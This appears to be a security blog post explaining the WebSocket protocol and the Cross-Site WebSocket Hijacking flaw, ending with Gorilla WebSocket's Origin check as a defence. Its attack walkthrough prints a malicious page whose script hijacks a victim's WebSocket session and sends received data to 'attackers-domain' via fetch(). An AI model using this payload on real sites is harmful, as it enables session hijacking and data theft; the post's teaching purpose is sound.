BOOK THIS SPACE FOR AD
ARTICLE ADUnderstanding the execution of a WebSocket attack!
Before we go into the ACTUAL invasion, it’s crucial to know what a WebSocket is and the different sorts of WebSockets.
Hello there, everyone! Hello and welcome to this new blog, We will look at the WebSocket protocol and the CSWSH vulnerability and how common it is on the open Internet. I learned about the Cross-Site WebSocket Hijacking ( CSWSH ) vulnerability for the first time thanks to an article by Vickie Li. For those who read all the way to the end, I’ve provided a cswsh-scanner utility and resources, which you can use to test how WebSocket applications can be compromised.
Let us first understand, What is WebSockets?
In modern web applications, WebSockets are commonly used. They’re started with HTTP and offer long-lasting connections with asynchronous communication in both directions.
WebSockets are utilized for a variety of tasks, including user interaction and the transmission of sensitive data. Almost any web security flaw that may occur with normal HTTP can also occur with WebSockets connections.
RFC 6455 defines the WebSocket protocol. The protocol has two URI schemes:
ws: / host [: port] path [? query] for ordinary connections.wss: / host [: port] path [? query] for TLS tunnel connections.WebSockets are widely used in current web development, and they are supported by all major programming languages and browsers. Online chat rooms, message boards, web interfaces, and commercial applications all use it. You can easily find WebSocket applications on the Internet by using the search engine shodan.io. It is sufficient to formulate a simple query.
I was not a lazy slob and completed the following tasks:
Search for Sec-WebSocket-Version HTTP / 1.1 400 Bad Request returned 106,165 results on 20/08/2021
As a response, More than One Hundred Thousand address from all across the world was discovered.
ESTABLISHING A RELATIONSHIP
Let’s have a look at WebSocket in action. A handshake is the first step in communication between a client and a server. The client and server use the HTTP protocol for the handshake, however, the format of the delivered messages differs slightly. Not all HTTP message criteria are met. For example, the Content-Length header is lacking.
First, the client establishes a connection with the server and sends the following request:
GET /echo HTTP/1.1Host: localhost:8081
Sec-WebSocket-Version: 13
Origin: http://localhost:8081
Sec-WebSocket-Key: dGhlIHNkaXBsZSBub31jZQ==
Connection: keep-alive, Upgrade
Upgrade: websocket
Connection: Sec-WebSocket-Version, Sec-WebSocket-Key Upgrade and Upgrade: WebSocket headers are necessary; else, the server will respond with HTTP / 1.1 400 Bad Request. The following is how the server responds to the client’s request:
HTTP/1.1 101 Switching ProtocolsUpgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ3oYGazhZRuK+xOo=
The client generates the Sec-WebSocket-Key header as a random 16-byte value encoded in Base64. In Go, there is a version of the heading formation:
func generateChallengeKey() (string, error) {p := make([]byte, 16)
if _, err := io.ReadFull(rand.Reader, p); err != nil {
return "", err
}
return base64.StdEncoding.EncodeToString(p), nil
}
The following procedure is used to create the Sec-WebSocket-Accept header in the response. The GUID 258EAFA5-E914–47DA-95CA-C5AB0DC85B11 is concatenated with a string value from the Sec-WebSocket-Key header. The SHA-1 hash is then calculated using the string from the first paragraph. The hash is encoded in Base64. In Go, there is a version of the heading formation:
const GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"func computeAcceptKey(challengeKey string) string {
h := sha1.New()
h.Write([]byte(challengeKey + GUID))
return base64.StdEncoding.EncodeToString(h.Sum(nil))
}
The Sec-WebSocket-Key and Sec-WebSocket-Accept headers aren’t used to authorize or support sessions; instead, they make sure that both the request and the response are using the WebSocket protocol. This ensures that the server does not accept requests from clients that do not use WebSockets.
RFC 6455 further recommends that the Sec-WebSocket-Key be chosen at random for each connection. This means that any cached proxy result will have an invalid Sec-WebSocket-Accept, causing the handshake to fail instead of reading the cached data accidentally. The client verifies the Sec-WebSocket-Accept value and expects the 101 Switching Protocols status code to finish the handshake. The initial HTTP connection is replaced with a WebSocket connection that uses the same TCP / IP connection after the handshake is completed. Either party can begin sending data at this moment.
It is convenient to utilize the “Developer Tools” provided, for example, in Chrome, to monitor WebSocket traffic.
TRANSFER OF DATA
What is the method for sending messages to WebSocket?
Data is sent in a series of frames through the WebSocket protocol. The header of the frame comprises the following data:
whether the message is fragmented;kind of transmitted data — all code;whether the message was masked — mask flag;data size;mask key (32 bits);other control data (ping, pong …).The table illustrates the frame format.
fragment MAY also be the final fragment.
To understand the Frame Format in-depth, Can refer to Base Framing Protocol
The client’s messages must all be disguised. An example of a “Hello world!” text message sent to a client (data from tcpdump):
Fin: TrueReserved: 0x0
Opcode: Text (1)
Mask: True
Payload length: 14
Masking-Key: a9292b01
Payload: eaf7f76dcdb2ac6ed0fefx2021
Masking is done by the usual XOR with the mask key. The client must change the key for each frame transmitted. The server should not mask its messages. An example of sending a text message “Hello world!” server:
Fin: TrueReserved: 0x0
Opcode: Text (1)
Mask: False
Payload length: 14
Payload: 98658c6c7f20776f726c642021
Because the disguising of transmitted messages is not cryptographic, the TLS protocol and the WSS scheme should be used with WebSocket to maintain confidentiality.
VULNERABILITY IN ACTION
It’s time to move on to CSWSH now that the protocol has been figured out. When dealing with browsers, the WebSocket protocol employs an Origin-based security architecture. SOP (Same-origin policy) and other security procedures do not apply to WebSocket. According to RFC 6455, the server can check Origin or not when establishing a connection:
Note: The origin of the script that establishes the connection is indicated by the Origin header element in the client handshake. Origin is changed to lowercase and serialised to ASCII. This information MAY be used by the server when deciding whether or not to accept an incoming connection. If the server does not check the origin of connections, it will accept them from wherever. If the server refuses to accept the connection, it must return an HTTP error code (for example, 403 Forbidden) and terminate the WebSocket handshake described in this section.
The CSWSH flaw is caused by a lack of or incorrect validation of the Origin header in the client handshake. This is a WebSocket-specific version of the Cross-Site Request Forgery (CSRF) vulnerability. An attacker might fake the handshake request using a CSRF attack and manipulate messages delivered and received over the WebSocket connection if a WebSocket application uses cookies to govern user sessions.
The hacker’s page can then use the connection to send arbitrary messages to the server and view the content of the messages it receives back. This means that, unlike traditional CSRF, an attacker can communicate with a compromised application in both directions.
With a successful CSWSH attack, a hacker can:
Perform unauthorized actions while impersonating a victim user. An attacker can send arbitrary messages to the server application, just like with ordinary CSRF. An attacker can generate relevant cross-domain communications and commence these operations if it exploits client-generated WebSocket messages to accomplish sensitive actions.Obtain confidential information that the user has access to. A cross-site WebSocket hijacking, unlike ordinary CSRF, allows an attacker to communicate with a susceptible application in both directions using a controlled WebSocket. An attacker could intercept such communications and the data of the victim user if the application uses server-generated WebSocket messages to return any sensitive data to the user.TEST ENVIRONMENT FOR CSWSH
Consider the CSWSH attack utilizing the vulnerable application………………wss: /echo.websocket.org as an example. The following is the offensive strategy.
Let’s go over the stages, and we’ll show you the messages in HTTP format that were received at each level.
The victim’s browser breaks down which is controlled by the attacker
GET / HTTP/1.1Host: attackers-domain
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
The site sends users a page with malicious content:
HTTP/1.1 200 OKHost: attackers-domain
Date: Mon, 16 Aug 2021 14:11:09 +0101
Connection: close
X-Powered-By: PHP/7.1.21
Content-type: text/html; charset=UTF-8
<!DOCTYPE html>
<html>
<body>
<script>
websocket = new WebSocket('wss://echo.websocket.org');
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("attackers-message");
}
function handleReply(event) {
fetch('http://attackers-domain/', {method:'POST',mode:'no-cors',body:event.data})
}
</script>
</body>
</html>
The script is executed by the victim’s browser, which connects to the WebSocket application ws: /echo.websocket.org in the victim’s context, passing the cookie value:
GET / HTTP/1.1Host: echo.websocket.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: http://attackers-domain
Sec-WebSocket-Key: twWJRgpy7uu5K9RlQCykJQ==
DNT: 1
Connection: keep-alive, Upgrade
Cookie: SESSIONID=bigsecret
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
The application starts a new WebSocketcookie-related connection with the header Origin: http://attackers-domain. SESSIONID=bigsecret:
HTTP/1.1 101 Web Socket Protocol HandshakeAccess-Control-Allow-Credentials: true
Access-Control-Allow-Headers: content-type
Access-Control-Allow-Headers: authorization
Access-Control-Allow-Headers: x-websocket-extensions
Access-Control-Allow-Headers: x-websocket-version
Access-Control-Allow-Headers: x-websocket-protocol
Access-Control-Allow-Origin: http://attackers-domain
Connection: Upgrade
Date: Mon, 16 Aug 2021 14:11:09 GMT
Sec-WebSocket-Accept: dLr0PXjy/nj7MF1Isif/PLQLNM0=
Server: Kaazing Gateway
Upgrade: websocket
On behalf of the victim, the attacker sends an attackers-message, The application that is in charge of the WebSocket sends a response message. Because our app is an echo server, the response will be an attackers-message as well.
At the end of the process, the server’s response is transmitted to the attacker-controlled domain:
POST / HTTP/1.1Host: attackers-domain
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://attackers-domain/
Content-Type: text/plain;charset=UTF-8
Origin: http://attackers-domain
Content-Length: 17
DNT: 1
Connection: close
Pragma: no-cache
Cache-Control: no-cache
attackers-message
PROTECTION FROM THE CSWSH
You can defend yourself from CSWSH in two ways:
Sometimes, but not usually, CSWSH protection is already integrated into the libraries. In the Gorilla WebSocket framework, CSWSH protection is implemented as follows:
// checkSameOrigin returns true if the origin is not set or is equal to the request host.func checkSameOrigin(r *http.Request) bool {
origin := r.Header["Origin"]
if len(origin) == 0 {
return true
}
u, err := url.Parse(origin[0])
if err != nil {
return false
}
return equalASCIIFold(u.Host, r.Host)
}
The default setting for origin check is to compare the values of the Host and Origin headers from the handshake request.
Thank you for reading my post; please leave a comment below if you have any suggestions :)
Here is my Twitter handle @N3T_hunt3r Feel free to reach me.
cswsh-scanner utility:
Reference/Resources:
Account Takeover Using Cross-Site WebSocket Hijacking (CSWH) | by Sharan Panegav | Medium